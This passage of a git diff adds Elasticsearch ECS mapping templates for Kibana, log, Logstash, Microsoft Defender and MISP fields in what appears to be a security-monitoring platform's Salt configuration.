1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "message_type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "nat_connection_tag": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "nested_application": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "obj": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "occur_count": { + "type": "long" + }, + "outbound_bytes": { + "type": "long" + }, + "outbound_packets": { + "type": "long" + }, + "packet_log_id": { + "type": "long" + }, + "peer_destination_address": { + "type": "ip" + }, + "peer_destination_port": { + "type": "long" + }, + "peer_session_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "peer_source_address": { + "type": "ip" + }, + "peer_source_port": { + "type": "long" + }, + "policy_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "process": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "profile": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "profile_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "protocol": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "protocol_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "protocol_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "reason": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "repeat_count": { + "type": "long" + }, + "roles": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "routing_instance": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "rule_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "ruleebase_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "sample_sha256": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "secure_web_proxy_session_type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "service_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "session_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "session_id_32": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "src_nat_rule_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "src_nat_rule_type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "src_vrf_grp": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "state": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "status": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "sub_category": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "tag": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "temporary_filename": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "tenant_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "th": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "threat_severity": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "time_count": { + "type": "long" + }, + "time_period": { + "type": "long" + }, + "time_scope": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "timestamp": { + "type": "date" + }, + "type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "uplink_rx_bytes": { + "type": "long" + }, + "uplink_tx_bytes": { + "type": "long" + }, + "url": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "username": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "verdict_number": { + "type": "long" + }, + "verdict_source": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + } + } + } + } + } + } +} diff --git a/salt/elasticsearch/templates/component/ecs/kibana.json b/salt/elasticsearch/templates/component/ecs/kibana.json new file mode 100644 index 000000000..6e13a835a --- /dev/null +++ b/salt/elasticsearch/templates/component/ecs/kibana.json @@ -0,0 +1,187 @@ +{ + "_meta": { + "documentation": "https://www.elastic.co/guide/en/ecs/current/ecs-base.html", + "ecs_version": "1.12.2" + }, + "template": { + "settings": { + "analysis": { + "analyzer": { + "es_security_analyzer": { + "type": "custom", + "char_filter": [ + "whitespace_no_way" + ], + "filter": [ + "lowercase", + "trim" + ], + "tokenizer": "keyword" + } + }, + "char_filter": { + "whitespace_no_way": { + "type": "pattern_replace", + "pattern": "(\\s)+", + "replacement": "$1" + } + }, + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": true, + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + } + }, + "mappings": { + "properties": { + "kibana": { + "properties": { + "add_to_spaces": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "authentication_provider": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "authentication_realm": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "authentication_type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "delete_from_spaces": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "log": { + "properties": { + "meta": { + "type": "object" + }, + "state": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "tags": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "lookup_realm": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "saved_object": { + "properties": { + "id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "session_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "space_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + } + } + } + } +} diff --git a/salt/elasticsearch/templates/component/ecs/log.json b/salt/elasticsearch/templates/component/ecs/log.json new file mode 100644 index 000000000..c98030aad --- /dev/null +++ b/salt/elasticsearch/templates/component/ecs/log.json @@ -0,0 +1,174 @@ +{ + "_meta": { + "documentation": "https://www.elastic.co/guide/en/ecs/current/ecs-log.html", + "ecs_version": "1.12.2" + }, + "template": { + "settings": { + "analysis": { + "analyzer": { + "es_security_analyzer": { + "type": "custom", + "char_filter": [ + "whitespace_no_way" + ], + "filter": [ + "lowercase", + "trim" + ], + "tokenizer": "keyword" + } + }, + "char_filter": { + "whitespace_no_way": { + "type": "pattern_replace", + "pattern": "(\\s)+", + "replacement": "$1" + } + }, + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": true, + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + } + }, + "mappings": { + "properties": { + "log": { + "properties": { + "file": { + "properties": { + "path": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "level": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "logger": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "origin": { + "properties": { + "file": { + "properties": { + "line": { + "type": "integer" + }, + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "function": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "original": { + "doc_values": false, + "index": false, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "syslog": { + "properties": { + "facility": { + "properties": { + "code": { + "type": "long" + }, + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "priority": { + "type": "long" + }, + "severity": { + "properties": { + "code": { + "type": "long" + }, + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + } + }, + "type": "object" + } + } + } + } + } + } +} diff --git a/salt/elasticsearch/templates/component/ecs/logstash.json b/salt/elasticsearch/templates/component/ecs/logstash.json new file mode 100644 index 000000000..9b463f3ae --- /dev/null +++ b/salt/elasticsearch/templates/component/ecs/logstash.json @@ -0,0 +1,175 @@ +{ + "_meta": { + "documentation": "https://www.elastic.co/guide/en/ecs/current/ecs-base.html", + "ecs_version": "1.12.2" + }, + "template": { + "settings": { + "analysis": { + "analyzer": { + "es_security_analyzer": { + "type": "custom", + "char_filter": [ + "whitespace_no_way" + ], + "filter": [ + "lowercase", + "trim" + ], + "tokenizer": "keyword" + } + }, + "char_filter": { + "whitespace_no_way": { + "type": "pattern_replace", + "pattern": "(\\s)+", + "replacement": "$1" + } + }, + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": true, + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + } + }, + "mappings": { + "properties": { + "logstash": { + "properties": { + "log": { + "properties": { + "log_event": { + "properties": { + "action": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + }, + "type": "object" + }, + "module": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "pipeline_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "thread": { + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + }, + "ignore_above": 1024, + "type": "keyword" + } + } + }, + "slowlog": { + "properties": { + "event": { + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + }, + "ignore_above": 1024, + "type": "keyword" + }, + "module": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "plugin_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "plugin_params": { + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + }, + "ignore_above": 1024, + "type": "keyword" + }, + "plugin_params_object": { + "type": "object" + }, + "plugin_type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "thread": { + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + }, + "ignore_above": 1024, + "type": "keyword" + }, + "took_in_millis": { + "type": "long" + } + } + } + } + } + } + } + } +} diff --git a/salt/elasticsearch/templates/component/ecs/microsoft.json b/salt/elasticsearch/templates/component/ecs/microsoft.json new file mode 100644 index 000000000..bb9f04a5c --- /dev/null +++ b/salt/elasticsearch/templates/component/ecs/microsoft.json @@ -0,0 +1,617 @@ +{ + "_meta": { + "documentation": "https://www.elastic.co/guide/en/ecs/current/ecs-base.html", + "ecs_version": "1.12.2" + }, + "template": { + "settings": { + "analysis": { + "analyzer": { + "es_security_analyzer": { + "type": "custom", + "char_filter": [ + "whitespace_no_way" + ], + "filter": [ + "lowercase", + "trim" + ], + "tokenizer": "keyword" + } + }, + "char_filter": { + "whitespace_no_way": { + "type": "pattern_replace", + "pattern": "(\\s)+", + "replacement": "$1" + } + }, + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": true, + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + } + }, + "mappings": { + "properties": { + "microsoft": { + "properties": { + "defender_atp": { + "properties": { + "assignedTo": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "classification": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "determination": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "evidence": { + "properties": { + "aadUserId": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "accountName": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "domainName": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "entityType": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "ipAddress": { + "type": "ip" + }, + "userPrincipalName": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "incidentId": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "investigationId": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "investigationState": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "lastUpdateTime": { + "type": "date" + }, + "rbacGroupName": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "resolvedTime": { + "type": "date" + }, + "status": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "threatFamilyName": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "m365_defender": { + "properties": { + "alerts": { + "properties": { + "actorName": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "assignedTo": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "classification": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "creationTime": { + "type": "date" + }, + "detectionSource": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "determination": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "devices": { + "type": "flattened" + }, + "entities": { + "properties": { + "accountName": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "clusterBy": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "deliveryAction": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "deviceId": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "entityType": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "ipAddress": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "mailboxAddress": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "mailboxDisplayName": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "recipient": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "registryHive": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "registryKey": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "registryValueType": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "securityGroupId": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "securityGroupName": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "sender": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "subject": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "incidentId": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "investigationId": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "investigationState": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "lastUpdatedTime": { + "type": "date" + }, + "mitreTechniques": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "resolvedTime": { + "type": "date" + }, + "severity": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "status": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "threatFamilyName": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "userSid": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "assignedTo": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "classification": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "determination": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "incidentId": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "incidentName": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "investigationState": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "redirectIncidentId": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "status": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "tags": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + } + } + } + } + } + } +} diff --git a/salt/elasticsearch/templates/component/ecs/misp.json b/salt/elasticsearch/templates/component/ecs/misp.json new file mode 100644 index 000000000..c3600de69 --- /dev/null +++ b/salt/elasticsearch/templates/component/ecs/misp.json @@ -0,0 +1,951 @@ +{ + "_meta": { + "documentation": "https://www.elastic.co/guide/en/ecs/current/ecs-base.html", + "ecs_version": "1.12.2" + }, + "template": { + "settings": { + "analysis": { + "analyzer": { + "es_security_analyzer": { + "type": "custom", + "char_filter": [ + "whitespace_no_way" + ], + "filter": [ + "lowercase", + "trim" + ], + "tokenizer": "keyword" + } + }, + "char_filter": { + "whitespace_no_way": { + "type": "pattern_replace", + "pattern": "(\\s)+", + "replacement": "$1" + } + }, + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": true, + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + } + }, + "mappings": { + "properties": { + "misp": { + "properties": { + "attack_pattern": { + "properties": { + "description": { + "norms": false, + "type": "text", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "kill_chain_phases": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "campaign": { + "properties": { + "aliases": { + "norms": false, + "type": "text", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "description": { + "norms": false, + "type": "text", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "first_seen": { + "type": "date" + }, + "id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "last_seen": { + "type": "date" + }, + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "objective": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "course_of_action": { + "properties": { + "description": { + "norms": false, + "type": "text", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "identity": { + "properties": { + "contact_information": { + "norms": false, + "type": "text", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "description": { + "norms": false, + "type": "text", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "identity_class": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "labels": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "sectors": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "intrusion_set": { + "properties": { + "aliases": { + "norms": false, + "type": "text", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "description": { + "norms": false, + "type": "text", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "first_seen": { + "type": "date" + }, + "goals": { + "norms": false, + "type": "text", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "last_seen": { + "type": "date" + }, + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "primary_motivation": { + "norms": false, + "type": "text", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "resource_level": { + "norms": false, + "type": "text", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "secondary_motivations": { + "norms": false, + "type": "text", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "malware": { + "properties": { + "description": { + "norms": false, + "type": "text", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } 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"description": { + "norms": false, + "type": "text", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "labels": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "object_refs": { + "norms": false, + "type": "text", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "published": { + "type": "date" + } + } + }, + "threat_actor": { + "properties": { + "aliases": { + "norms": false, + "type": "text", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "description": { + "norms": false, + "type": "text", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "goals": { + "norms": false, + "type": "text", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "labels": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + 